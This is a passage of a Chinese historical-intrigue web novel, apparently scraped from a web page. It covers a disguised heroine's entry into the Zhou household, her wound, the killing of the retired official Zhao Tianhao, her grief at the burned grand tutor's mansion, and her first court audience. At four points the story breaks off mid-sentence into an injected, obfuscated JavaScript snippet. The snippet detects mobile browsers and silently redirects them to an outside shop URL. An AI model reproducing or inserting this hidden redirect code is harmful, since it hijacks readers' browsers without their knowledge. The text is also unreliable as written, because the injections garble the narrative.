远处的几位,也瞧见了迎面而来的三个人。暴雨如注,偌大空旷的皇宫没什么行人,更何况周筠也是一身红。 柳慈顺着众人的目光看过去,即便只是遥遥一眼,他就认出了来人是谁,心口一滞。 两方渐渐走得近了,有人看清了周筠的脸:“那……那不是?” 那人伸手指着周筠,满脸惊诧。其余众人也都看清了周筠的脸。周潇的儿子,即便尚未在朝中做官,但朝中大部分官员也都在大大小小的宴会上见过。一时间,众人的脚步顿住,看着周筠慢慢靠近。 “见过几位大人。”小太监倒是先一步行礼请安。安静了片刻之后,终于有人忍不住开口,“这位是?” “这位便是周大人家的三公子,亦是新任的北司指挥使。”小太监面不改色地介绍。 这会儿周筠脸色惨白,只瞥见了人群中的柳慈。这群人里头,要说同她认识的,只有柳慈。周潇同许雾都死了,现如今,在这世上知晓她身份的,就只有柳慈一个人。说不上来什么感觉,之前他从未透露过她的身份,但是那是周潇在的时候,现在一切都不同了,人,都是会变的。 这样想着,周筠微微抬眼看向柳慈,淡声道:“见过各位大人。” 在场的人,现下倒是回过神来了,周毅这莫名其妙的三公子是哪儿来的。他们确实也不算是破了父子同朝为官的规矩。即便他们见到了周筠,心知肚明,但没有人会开口说。如今大燕的天已经变了,上头的那位既说了他是周罄竹,他就是周罄竹。 现下的境况,其实有几分尴尬,正如方才那个人说的。在场的几个人里头,有好几位的官职比周筠低,虽说并没有真正的封职,可旨意已经下了,她任北司指挥使的事情是板上钉钉的。人群中的人犹豫了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13381848|141066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一会儿,接着微微躬身,朝着周筠微微躬身道:“见过周大人。” “免礼。”周筠应得淡淡的,从前还是周筠的时候,受过太多奉承,对这些已经习以为常了。 只是在临走之前,周筠若有所思地看了一眼人群中的柳慈一眼,有些事,她也不得不重新想一想。 雨大,周筠撑着伞走在路上。大抵是因为麻沸散药效过了,这会儿左手手臂开始麻痛起来。雨势不小,噼里啪啦地落在伞面上,很是嘈杂。以为自己已经痛到麻木,但后槽牙还是默默咬紧了一些。 她蓦然想到月初时候周潇同她提起过,待今年生辰过了之后,便让人在朝中给她安排个官职。那时候她还不想,毕竟,在朝为官之后,避免不了结党营私。她在周潇身边见了太多,不想蹚官场这浑水。可周潇的命令,向来没办法忤逆。 想到这,周筠自嘲地扯了扯嘴角,没想到在他死后,倒是提前一步做上官了。 兰生跟在他身侧,莫名其妙地看着周筠,感觉有些瘆人。他是暗卫营选出来的人,什么样的人都见过,刚开始觉得是个落魄无用的公子哥,不配让他跟着,后来好像发现并不是。他看不清他本来的样子。 将近宫门,好些马车停着,看着很是热闹,远处的黑云乌压压的一片,天仿佛要塌。 小太监平静地带路,待走近了,周筠一眼就看见了其中一辆马车前站着的人。一身绿色官服,独自撑着伞,大抵在雨中的时间久了,身上大半都湿透了。旁的车夫或是小厮都在马车上,独他一个站在雨中,身姿挺拔如松。周筠总觉得,这人看着,很是眼熟。 直至到眼前,周筠才看清他的容貌,这人,她确实是见过,周毅的大儿子,周泊闻。刚开始听说周毅这个名字时,她对这个名字这个人没什么印象。但看见周泊闻,她全都想起来了。之前周毅官职还小为了能给周泊闻在朝中安排个官职而去求了周潇。 那时候她也还小,明明已经很努力练武了,可还是免不了被师父和周潇苛责。才从院子里跑出来出来就撞到了周泊闻。周泊闻虽然瘦弱,但好歹比她大好些。 她被撞得翻倒在地上。正憋着一肚子气无处发泄,指着他的鼻子好一通臭骂,甚至还让身后跟着的下人打了他。而周潇并没有应承周毅,甚至在他得知她打了周泊闻时,也并未制止。 想到这,周筠喉咙紧了紧,将伞面微微抬起了一些,看向对面她现在名义上的大哥。他的容貌同她那时候见到的差不多,只不过凌厉了好些。雨溅到他脸上,看着有几分狼狈。 而他,在看见周筠时,也有一瞬间的愣怔。随即,眼底情绪翻腾。 “大哥今日怎么有空?”周筠喉头滚了两下,先开口道,她没记错的话,周泊闻现下应当是顺州长史,不应该在盛京。 兰生听着这没脸没皮的话,忍不住翻了个白眼。他没想到,周筠演技这般好,刚刚被灭了满门,现下一扭头,就能同一个陌生人上演亲人寒暄的戏码。 “这几日休沐。”周泊闻出声,面不改色道,“回府吧,父亲母亲还在家中等着。” 周筠闻言,看了一眼马车,按理来说,马车下一般都会放矮凳。若是没有,也会有下人跪着以背为凳。她左手伤着,右手又撑着伞,若是硬要攀上去,刚刚剜过腐肉的地方势必会裂开。 5. 第五章 周泊闻肯定不会管她的死活,现下唯一能求助的,就只有…… “兰生。”周筠将伞微微偏开,看向他。 兰生也看向周筠,撇了撇嘴,走到周筠身边,有些不乐意地抬起手。周筠低眉瞥了一眼,将手上的伞递了过去。兰生皱眉,不明所以,但还是半信半疑地接过了。随即,他就看见一只修长的手搭在马车车辕的湿横木上。 横木的颜色很深,她的手上是有茧,皮肤颜色也并不算特别白皙。可鲜红的衣衫垂落,将本就不大的手遮了一半。兰生看得仔细,他总觉得那手,于男子而言,似是过于纤细了。 但仅是一瞬,周筠已经翻身上了马车。 马车狭小逼仄,周筠从来没坐过这样小的,她同周泊闻面对面坐着,双膝错开,局促得很。方才走到宫门,就已经耗费了她好些力气,如今又这样紧绷地坐着,全凭一口气吊着。雨声淅淅沥沥,像是催命符。额角的汗细细密密,呼吸也控不住地粗重起来。 实在有些忍不住了,周筠瞥了一眼对面坐得周正的周泊闻,微微往右边侧了侧,用右手撑着。周泊闻自然察觉到了他的动作,他不知周筠身上有伤,只是觉得他的脸色不好。只是迟疑了一下,终究还是开了口。 “没事吧?” 对于那件事,周泊闻不是不记得,只是周筠刚封了北司指挥使,还没到周府,若是出事,全府都得跟着遭殃。 周筠摇了摇头。 感觉马车颠簸了好久,还未有要停的迹象。在周筠快忍不住要同周泊闻开口的时候,终于听见了前头的呵马声。 “二位大人,到了。” 周筠重重地舒了一口气,周泊闻先一步起身出去,在他起身时,不慎碰到了周筠的左臂。周筠倒吸了一口凉气,有一瞬间,她觉得他是故意的。方才的强撑仿佛一个笑话,她微微偏头,看了一眼左肩的位置。 周泊闻觉得马车里的氛围瞬间凝滞了,顺着她的视线看过去,就看见她鲜红的衣衫瞬间暗湿了大片。 “你……” 周泊闻盯着那片血印皱眉出声,还未来得及问出口,便被打断了。 “快叫郎中。”周筠咬牙切齿地应声。 雨势没有丝毫要变小的意思,郎中过来的时候,天已经彻底暗了。周府原本就没有她的位置,只能将她放到客房里。客房里,像是很久没有住的样子,一股子陈腐味道,又熏了香,味道混在一块,周筠闻着有些想吐。 郎中匆匆赶来,周筠拉上袖子将伤处暴露出来:“换好了之后,再留一些,要上好的金疮药。” 在场的人,包括兰生,看见她的伤口,皆是一怔。兰生没想到才一会儿的功夫,血已经糊了一胳膊,看着血淋淋的。 郎中看着那伤,面露难色,抬手拭了拭额角的汗:“大人这伤,草民怕是……” 周筠脸色惨白,额角的豆大的汗顺着脖颈往下落,微微偏头,斜睨了他一眼:“若是不想瞧,那也不必回去了。” 她本就无力,声音淡淡的,但目光凌厉,仿佛抬手,就能杀了他。 “是是是,草民定当竭尽全力……”郎中忙不迭应声,周泊闻听见这话,眼里闪过一丝嫌恶。没想到他如今落魄了,也改不了这样的性子。 就在郎中包扎的时候,周毅同万寒轻姗姗来迟。 “怎么了这是?”万寒轻瞧见丫头端出去的血水,出声问道。 “奴婢见过老爷夫人,小公子伤了,郎中正在里头疗伤。”丫头微微躬身应到。 听见这话,万寒轻偏头同周毅对视一眼,周毅倒是没多惊讶,“怎么样了?” “血止住了,伤处也已快包好了。”小丫头毕恭毕敬地应声。 周毅同万寒轻还未进屋,便闻到一股刺鼻的血腥味。周泊闻一干人在门前候着,瞧见周毅同万寒轻,忙起身唤了一声:“父亲,母亲。” 万寒轻还未来得及开口,郎中已经背着药箱从里头出来。瞧见周毅同万寒轻,拱了拱手:“见过老爷夫人,公子的伤,已经弄好了。只是之后的几日,切莫再劳动,若是再伤……公子的手,怕是保不住了。” 周毅听见这话,轻轻敛眉,瞥了一眼身后站着的管事:“多谢。” 管事会意,忙从袖子里摸出银子递过去,上前低声道:“辛苦大夫了,请随我来。” 屋里周筠摊手躺在榻上,听着外头的雨声,想着终于能好好歇一会儿了。 “开一下窗。” “啊?”兰生正在出神,并未听清周筠的话。 “开窗。”周筠声音重了一些。 “哦。”兰生这会儿也未曾多想,走到窗边,将窗牖推开一扇。 屋里的血腥味瞬间被风雨吹散,因着方才郎中给她包扎伤处,她身边放了好几张矮几,摆着一排蜡烛,屋里亮如白昼。 周泊闻同周毅和万寒轻再进屋的时候,瞧见的,便是这样的场面。周筠一袭红衣,长发铺散在枕后,面上毫无血色,神情淡漠。床榻边矮几上摆着的烛火被风吹动,摇摇晃晃烛光映在他的脸上,晦暗不明,宛若鬼魅。 周筠瞧见周泊闻跟在两个中年男女身后一起进来,约莫明了他们俩的身份。叫周泊闻大哥倒是没什么所谓,只是这父亲母亲一时半会儿的实在叫不出口。 不过她这会儿也没力气,呆呆愣愣地看着他们。 周毅扫了一眼:“既然伤了,那便好好休息吧。” “嗯。”周筠淡淡地应声。 他们转身出去,万寒轻倒是叮嘱了一句:“好好照顾小公子。” “是。”周围站着的丫头小厮纷纷应道。 众人退出去,屋里顷刻间变得安静起来。周筠闭上眼睛,淡声道:“你也出去吧。” 兰生愣了一下,目光落在她脸上片刻,转身出去。雨还在下,外头的廊道被风雨侵袭了大半,有一只飞蛾的磷翅沾了水,落在湿漉的地板上。一直在扑棱,却始终没有飞起来。最后仰倒在地上,肚子一起一伏地,仿佛在等死。不知道为什么,兰生看着那蛾子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13381849|141066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,想到了里头躺着的周筠。 就在兰生走过去伸手快要触碰到它的时候,它突然有力地扑棱了两下,飞向了廊道远处。 暗卫营里多的是不怕死的,可像周筠这样要死不活,还把自己往死里虐待的,可真不多。 兰生撇撇嘴,轻喃道:“同我又有什么关系。” 他的任务,只是在周筠身边监视他,将他的动向全都汇报给上头的那位,至于死活,与他无关。 大抵是累了,矮几边的烛火都未熄,周筠已经迷迷糊糊睡着了。连日的疼痛已经让她麻木了。 她睡得很沉,她已经很久没有这样好好睡一觉了。 “嘘!手脚都轻一些,公子还睡着呢。” “公子睡了这么久,当真无事吗?要不要同老爷夫人说一声?” “大公子不是请了郎中过来瞧过了,应当无事的。” “听闻,小公子他之前是太师府的公子,怎么突然进了咱们府里,老爷同夫人他们也……” “嘘!低声些,小命还要不要了?” …… 周筠睁开眼睛,瞥了一眼屋里,两个小丫头正说这话。大抵是怕她醒了,其中一个人回过头瞟了一眼。恰巧瞧见周筠醒了,忙用手肘捅了捅旁边的人。两个人的神色都很慌张。 “公子。”她们试探着上前行礼唤了一声。 “我睡了多久?”周筠开口,声音哑得厉害。盯着帐顶发怔。大抵好好休息过了,这会儿感觉比之前好多了。 “有三日了。”小丫头应声。 周筠反应了好一会儿,三日,她明明感觉自己好像没睡多久。伤处的疼痛似乎也在慢慢变得清晰起来。 “公子要起身吗?” “嗯。”周筠应声,手上的动作未停。 话音未落,门口响起一阵动静,就见兰生莽撞地进来,一边进门一边开口道:“他还没醒……” 话说到一半,看见周筠在床榻上坐着,顿住了。 他的无礼周筠不是第一次见了:“有事?” 兰生目光落在丫头身上片刻,丫头们见状,微微躬身,准备退出去。 “先拿些水过来。”周筠现下渴得厉害。 小丫头先是迟疑了片刻,接着转身去端桌上的水。兰生走到桌边,摆了摆手。小丫头瞧了他一眼,就见他先一步伸手端起了茶盘,低眉缓步退出去掩上了门。 门关上,周筠先喝了一口水,凉凉的茶水顺着喉咙滑下去,感觉整个人都活过来了。 “陛下密旨,杀了赵天豪。”兰生顺手将茶盘放到旁边小几上,语气轻淡,拿起茶壶给自己倒了一杯茶水抿了一口。 周筠端着茶水抬眼看向兰生。兰生微微偏头,就对上了周筠的眼睛。大抵因为脸色苍白,她的瞳仁漆黑,像是夜猫。他蓦然一怔,出声解释道:“辞官的卫尉卿。” 周筠脑海里浮现的是前几日在正阳殿上他写的罪己书。 “何时?” “明日。” 6. 第六章 “公子要出府吗?”小丫头见周筠换好衣裳出来,出声问了一句。 “嗯。”周筠理了理袖子应道。 “奴婢这就去备马车。”她转身就要去,周筠开口,“等等,你叫什么?” 既然入了府,看样子,应该就是在她身边伺候的。 “奴婢紫槿。” 周筠摆了摆手,在周府,穿衣倒是没有限制了。反正是在皇宫之外,即便谢怀澈肯定会知道,但这身素衣,今日她是一定要穿的。 天色渐渐暗下来了,阴沉潮湿,像是又要下雨的样子。她站在檐下,心里莫名有些堵。 过了片刻,紫槿匆匆回来了,天上开始飘细细密密的雨丝。她将伞递到周筠手边,“公子要去哪儿?可要奴婢们跟着去。” 听到她说奴婢们,周筠才注意到稍远一些站着另一位丫头,两个小丫头看着身形相当,相貌也差不多,白净瘦削。见周筠的目光落在她的身上,那个丫头福了福身子:“奴婢紫蒲。” “不必跟着。”周筠将伞撑开,往外走。高低不平的石板还有几处水洼,绒绒的青苔看着分外清新。走出院子,一路上的下人见着她皆是小心探究地行礼。她知道,这是不可避免的。 到府门前,兰生正穿着蓑衣抱剑坐在马车车辕上等着。见周筠出来,先是懒懒地扫了一眼,待她行至跟前时,才从车上一跃而下,伸手过去。周筠默契地将手上的伞递到他手上,翻身上去。 赵天豪辞官,带的人肯定不多,但他亦是武将,仅凭现在的她和身手不明的兰生,周筠有些担心,且看兰生的样子,会不会出手帮她都两说。前两天那个郎中换药的时候就说过,她的手,若是再劳动,怕是要废了。想到这,周筠深深叹了一口气,轻轻活动了一下左手。马车摇摇晃晃,大抵是要下大雨,车厢里憋闷得厉害。周筠心中又有事,觉得有些呼吸不过来,伸手掀开帘子打算透透气。 掀开车帘,她发现,马车去的,根本就不是城郊,而是反方向。明明兰生提前同她说过,盛京城内不好动手,地点定在城郊树林。 她并未出声,即便是问他也不一定如实相告。 半晌之后,大的雨滴开始落下,马车也慢了,周筠忍不住掀开车帘,看见一座宅邸,檐下挂着的北司两个字,瞬间明了。出去的时候,就看见兰生撑着伞伸出的胳膊,眉头一挑。门前的守卫看见兰生扶着周筠下马车,当即上前招呼道:“属下见过周大人。” 周筠抬了抬手,示意他们起身。接着同兰生往里走。似乎是得了消息,里面的人纷纷跑出来,在廊下站成两排,齐声呵道:“属下见过指挥使大人。” 周筠瞧着这场面,觉得自己活脱脱像是土匪头子。转念一想,自己现在好像同土匪头子也没什么区别。 “都起身吧。”周筠应声,她的声音很轻,但是抵不住现场安静。她能看出来,他们都是训练有素的暗卫。想到这,她若有所思地扭头瞥了兰生一眼。 兰生见周筠看向自己,有些别扭地别过头:“时候不早了,带些人就出发吧。” 她现在虽然有北司指挥使的头衔,但是,北司的实权,其实是在谢怀澈的手里。而兰生,他的身份,应当是暗卫中的一个,且又是同谢怀澈单线联系,目前他才算是北司的实权掌握者。她决定再观望观望,任凭兰生安排下去。 说是带一些人,可当周筠看见这阵仗时,也有些讶异。赵天豪是武将不错,可看着北司里的人应当也不是草包。这么大张旗鼓地带着这么多人从北司出发,要让别人不知道都难。 周筠依旧坐马车,街市上人不多,因着大雨突然,都在两旁商铺中躲雨。其他人都骑着马穿着蓑衣戴着斗笠,将周筠的马车围住,看着倒真像那么回事。她想不明白,杀个赵天豪而已,其实没必要这么大动干戈。 “让开!”前头的呵声响起伴随着马车的停止。 “敢拦北司指挥使的车架,不要命了吗!”外头喊叫的声音很是洪亮,在那瞬间,周筠好像有点明白了,这么大动干戈的缘由。 她并未出声,只是将车帘撩开一条缝,透过缝隙看出去,稍远处停着一辆车架,距离不近,可若是不避,势必相撞。 “大人?”对面车夫勒紧缰绳,有些拿不住主意。 “让开。”平静且清朗的声音穿过噼啪的雨声落到周筠的耳朵里。她的心,像是被一只手攥着,连空气,都变得清冽起来。 缝隙里那辆马车慢慢地后退,转入了小巷子。那车帘也被掀开了一个口子,修长的手指,轻轻抬起深青色的车帘。周筠看着那一幕,甚至能想象到柳慈的神情。他的存在,始终是个隐患。 马车摇摇晃晃重新向前行驶,那辆马车也消失在巷口。也就是在那瞬间,周筠心里腾升起一股杀意。 马车的速度明显快了起来,约莫已经出城。 “待会瞧见画像上的人,不必听命,直接斩杀。”雨声里,兰生吩咐的声音格外清晰。 “是!”周遭应得也齐整。周筠微微勾了勾唇,这里,其实压根不需要她在。 马蹄声渐轻。 “什么人?”有人叫了一声。 紧接着是刀剑铮鸣,重物坠马的声音。她掀开帘子,看见的,就是一个小厮浑身是血地躺倒在地上。还没咽气,眼睛睁得大大的,脸上的血,很快被雨水冲刷干净了。 哀嚎声起,但又很快被雨声淹没。 “来人,快来人!”马车中的人掀开车帘受到了惊吓,大声喊叫着。随行的侍卫小厮很快就将马车团团围住。 “你们是什么人!光天化日,竟敢行刺朝廷命官!”赵天豪从马车中出来,手上还握着剑。 他们压根不理会他的询问,只一味地挥着手上的刀剑。血腥味被雨掩盖了,倒是不重,只是看着这场面,周筠蓦然想到了前几日的那场大火。在大火前,那些人,也是这样对太师府的人的。 听见赵天豪的话,周筠嘲讽地笑了笑,索性将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13381850|141066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马车前的帘子掀开。 乌云密布,雨大,又是在密林之中。即便是白日,光影昏暗得厉害。马车之中,点了一盏烛火,她就坐在宽大的车厢内,看着外头的鲜血淋漓。仿佛一切都与她无关。 “朝廷命官?”周筠轻蔑地开口,“我如果没记错的话,赵大人不是早就已经辞官了吗?” 听见她开口,暗卫的动作倒是停下来了。赵天豪此时正同暗卫厮杀,听见她的声音,先是一顿,接着有些僵硬地扭头看向他的方向。待看清他的相貌,满脸的惊愕。 “你……你不是已经……”他吓得跌坐在泥坑之中,仿佛受到了极大的惊吓,“不可能,不可能。” 他一边说着,一边狠狠打了自己一巴掌。再抬眼看,周筠依旧坐在马车内:“你没死?你竟然没死?” “大人很失望吗?这还是托大人的福,让我现在坐在了北司指挥使的位子上。”周筠看向他,声音不自觉哽咽了几分。兰生骑着马在周筠的马车边并未动手,听见她说这句话,不自觉瞟了她一眼。 “都杀了吧。”她接着开口,定定地看着赵天豪来不及反应,被剑刺死在泥泞的地上。 他们的动作很快,半刻不到,一个活口都没留。 “将他们的钱财都搜刮出来,你们自己分了,今日之事,不许透露半分。” 兰生的神色瞬间变得凌厉起来。他讶于周筠的聪敏,她就坐在车内,烛火的光在她脸上跃动,脸上毫无血色,神情却异常淡然。他明明没有对他透露半个字,而他却知道了他们下一步要做什么。在那个瞬间,兰生似乎是明白了,谢怀澈为什么会留下他。 众人并未应声,只是看向兰生,兰生微微点了点头,他们才开始动作。 周筠觉得没意思,拉了帘子在马车里候着。要不是左手伤着,她都想一个人先回盛京城。 过了好一会儿,马车才调转了方向,周筠始终掀着车帘,待行进到某条街巷的时候,周筠开了口。 “停一下。” 车夫不明所以,勒紧了缰绳,周筠拿着车上备着的伞探身出去。跳下车辕,撑开伞,一气呵成。 “你们先回去吧,我到时候自己回府。”周筠没回头。 车夫有些为难地看向兰生,兰生坐在马背上,雨大,即便是蓑衣斗笠,但骑着马,难免湿了。身上黏腻得厉害,他只想快些回府换一身干净的。没想到周筠还有这一出。有些不耐烦地挥了挥手,示意车夫先行离开,自己则翻身下马,牵着马跟在他的身后。 “大人,现下雨这般大,若是要逛,待哪日天晴了行不行?”兰生跟在身后走着,越走心里越不痛快。 周筠并未理会,径直走着。兰生看着他的背影,也不出声了,皱了皱眉,不情愿地跟着。 他们走了好一会儿,周筠终于停下来了。可当兰生看清前头的场景,喉头像是被什么东西哽住一般。 他们的面前,是已然成为一片废墟的太师府。 7. 第七章 周筠站着看了很久,她也不知道自己在想什么。这几天发生的事就像做梦一样,好像直到看见那再熟悉不过的地方变成废墟才有了实感。 雨打在伞面上,滴滴答答的,似是绵绵不绝的哀泣。声音大了好些,且渐渐明晰起来,像是真的有人在哭,还伴着锣鼓的声音。 周筠抬起伞,循声看过去,先入目的,是落在地上湿透了的纸钱。再抬眼,孝幛白绸,缟素纸伞,入目皆白。因着下雨,纸钱撒不起来,落在地上,被雨打湿叠在一块。悲戚的哭声毫不遮掩,队伍很长,有好几副棺椁。周筠瞥了一眼扶棺的人,男男女女,年纪都不小。 锣鼓的声音震天响,像是要同滴答不停的雨声争个高低。忽然,有个熟悉的身影闪过,周筠不确定,握着伞的手紧了紧,目光定定地落在他身上。那人撑着纸伞,丧冠比旁人的大好些,冠檐下的脸,红黑相间,凹凸不平,很是可怖,一看就是烧伤的。 在确认了对方的身份后,周筠将伞面压低了一些。逆着扶棺的队伍往周府走。 兰生见状,忙跟上。他知道这些棺椁是谁的,太师府走水的那夜,连带着周围的房子都烧了好些,死了不少人。今日正好头七,出殡的人不在少数。 周筠走得很快,加上兰生穿着蓑衣,行动不便,很快就隔开好一段距离。 前面瘦高的身影躲在伞下,天色晦暗如将夜,满目皆白,耳边又充斥绵绵不绝的哀泣哀乐。忽然一阵狂风起,孝幛白绸被吹得猎猎作响。所有人的伞都被吹斜了。周筠的亦是,兰生注意到,她的左手手臂,隐隐渗出几分血色。在晦暗的天地中,这是唯一鲜艳的颜色。 回到周府,府门前的马车刚停稳。周泊闻从马车上下来,就看见周筠一身素白的衣裳湿了半身往府里走。 兰生跟在后面,正好同周泊闻撞上,微微躬了躬身:“大人。” 周筠也听见了,知道是周泊闻,但是就是不想回身应付。径直回了院子。 “公子回来了。”紫槿见周筠回来,忙迎上前。 周府也没有束胸的布条,但是,可以以包扎伤口的借口让她们准备着。刚从浴房出来,就看见了靠在柱子边的兰生。 一身水绿色,比他之前的穿得灰扑扑的颜色鲜亮多了。他原本就年轻,只是之前穿得颜色暗沉,这会儿换了,加之身后的夜幕衬托,看着生机勃勃的。 她的头发还湿着,披散在身后还滴着水。她随意擦着头:“去复命了?” 语气是随意的,可之前在太师府的十八年不是白待的,她的身上有一种浑然天成的上位者的压迫感。这也是兰生看似对她无礼,实际上,并不敢放肆。 “嗯。”兰生老实地应声,白日里街市上的那一幕还深深地印在他的脑子里。晦暗的风雨,翻飞的孝幛白绸,和直行未回头的他。他突然有些好奇,那时候,周筠的脸上,是什么表情。 周筠一边往前走,一边擦着湿发。兰生放下手上的剑跟上,还没走两步,就被紫蒲拦住了去路。 “公子,老爷派了人过来,说公子既已醒了,便一同去前厅用晚膳。”因着不清楚周筠的性子,几个小丫头都恭恭敬敬的,生怕哪儿惹了周筠不痛快。 “知道了。”周筠应声。 到前厅时,他们已经在用膳了。 “老爷夫人,小公子……到了。”小厮通报的声音和周筠一起进的门。 周筠发觉,桌上坐着,不止周泊闻,还有另外一个容貌相似的年轻男子。若是没猜错的话,应当是周府二公子。 他的眼里没有丝毫惊讶,更多的是好奇和探究。 万寒轻见状招呼了一声:“坐下用膳吧。” “嗯。”周筠应声坐下,下人拿来净手的盆净了手。才拿起筷子,便听得周毅问道,“听闻今日午后你出府了?” “是。” “做什么去了?” “杀人。” 她这话说得太直白了,在场所有人皆是一怔,动作都停滞了。只有周筠,神色如常地夹了一块牛肉。周泊闻和周祁闻的目光都在她身上。周泊闻带着震惊,而周祁闻,却带着几分玩味。 万寒轻瞟了周毅一眼,后怕着开口道:“食不言,食不言,好好用膳吧。” 兰生站在身后,一时半会没回过神来。他知道周筠疯,但没想到他这么疯。 用完晚膳,正要回院子。 “等等。” 猛地一声,周筠同兰生一起回过头看向他。周祁闻站在廊下。大抵是因为习武,他的身形,比周泊闻高大许多。周筠未动,他在缓步靠近。 一瞬间的事,三个人的位置发生了变化。周祁闻的手刀被兰生未出鞘的剑挡住了。而周筠,侧身稳稳当当地在稍远处站定。拍了拍附在身上的雨丝:“这就是二哥的见面礼吗?” 周祁闻笑着直起身,看向周筠:“早就听闻三弟身手不错,这好不容易回府一趟,顺手试试。不过没想到,三弟身边的人,身手也不错。” 他说着,有意无意瞥了兰生一眼,兰生根本不吃他这一套。冷冷地回看了他一眼,束剑,退回到周筠的身侧。 “幽州路遥,要回盛京一趟,确实不容易。”周筠抿了抿唇淡淡道。她这话,带着几分讥讽。都是官场上的人,周祁闻怎么会听不出来。 “容不容易,不也就是来来回回的事,起码,周府还在。” 周筠微微侧身抬眼,周祁闻站在廊下,头顶上正好挂着一盏灯笼,昏黄的光落在他的脸上,明明暗暗。 今日头七,饶是兰生听见这话,也有些担忧地看了周筠一眼。 周筠忽然很想笑,勾了勾唇,头也不回地往廊道尽头走。感觉胸腔里有一股气怎么也吐不出来,她笑出了声。兰生听着他的笑,觉得很是瘆人,离得远了一些。 她回到了屋里,笑着笑着,眼泪就掉下来。“阿爹。”她轻声喃喃道,连日来的情绪终于有了宣泄的口子。她靠坐在床榻边上,将头埋进双膝之间,整个人止不住地颤抖着。 她此刻才真正明白周潇此前同她说的,出了太师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13381851|141066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府,到处都是会吃人的嘴。 —— “公子今日头一回上朝,可不能有任何闪失。” “是。” 周筠刚起身就听见外头紫槿在训话。在周府将养了快一个月。自那夜同周毅一家用过晚膳之后,周毅就再也没叫过周筠一块用膳。许是当时吓着他们了,又或许是第二日听闻了赵天豪的死讯。不管是因为什么,周筠都乐得自在。 天渐渐热起来,而她身上的伤,也开始结痂了。郎中口中的生新,伤口开始变得很痒,甚至比一开始的疼痛都难熬。 第一天上朝,朝中关于她的事,应当已经沸沸扬扬了。 她踩着马凳下了马车,旁边的官员见是她,一边低声议论,一边离得远了一些。周筠毫不在意,缓步朝正殿走去。连日阴雨,今日乍晴,天气甚好,周筠的心情也舒缓了一些。 只是,才走了两步,就看见了一个晦气的人。一身紫服,虎豹纹饰在阳光下闪着细光。周筠未避,直直迎上。 “下官见过陆大人。”当夜里是陆时化屠的太师府,她是死是活,陆时化不可能不知道。 陆时化站在上一阶,紫服深沉,居高临下。目光探究地落在她的左臂,轻声开口问道:“多日未见,周大人身上的伤,可好些了。” “多谢大人挂怀,已然好多了。”被陆时化这么一看,周筠莫名觉得伤处痛痒起来。 “那便好,本官还怕,手从此就废了。” “下官可不敢。”周筠笑着应道。 一行人进了正殿,人群之中,周筠一眼就看见了对面的柳慈。两人皆是绯服,只不过绯服上的纹饰,一个是白鹇,一个是虎豹。他依旧一副气定神闲,风轻云淡的模样。目光直直地对上周筠的。 “陛下驾到。”太监尖锐的声音打破了正殿内的窃窃私语。众人纷纷肃散整衣冠站定。 谢怀澈缓缓踏入殿内,眼看着连日的空缺的位子被填上了,露出一抹不易察觉的笑。他走到龙椅上坐定:“众爱卿,平身。” “谢陛下。” 周筠直起身子就看见谢怀澈看着她笑,那笑一看就没什么好事。果然,下一秒,他出声道:“逸文。” “臣在。” “赵天豪一案,查得如何了?” 段逸文迟疑着看了周筠一眼:“仵作勘验,赵天豪一家及家仆若干,均死于汉剑,此剑,是官家的佩剑。微臣查过当日出城的记档,当日带兵马出城的,只有……只有周指挥使。” “但,现场的财物尽失,也不能排除山匪用汉剑混淆视听。”说到这,段逸文抬手擦了擦额角的汗。按照正常的流程,应该把周筠连同北司众人一起押进大理寺好好审问。 可谁不知道,陛下对这位新任指挥使青眼有加。且此事过了整整月余,谢怀澈才在朝堂之上提起,说不定赵天豪这件事,就有他的授意。新帝登基,万事,还是小心为上。原以为这件事就这样糊弄过去了,没想到谢怀澈会在这时候提起。 “罄竹,你说说?” 8. 第八章 乍一听见这个称呼,周筠万分不习惯。还反应了一会儿。 “微臣那日确实带了兵马出城,可微臣并未见过赵天豪。”周筠微微躬身应道。 接着侧身看向段逸文:“段大人,此案已过月余,下官并未收到大人任何消息及传唤,下官还以为此案早就结了。” 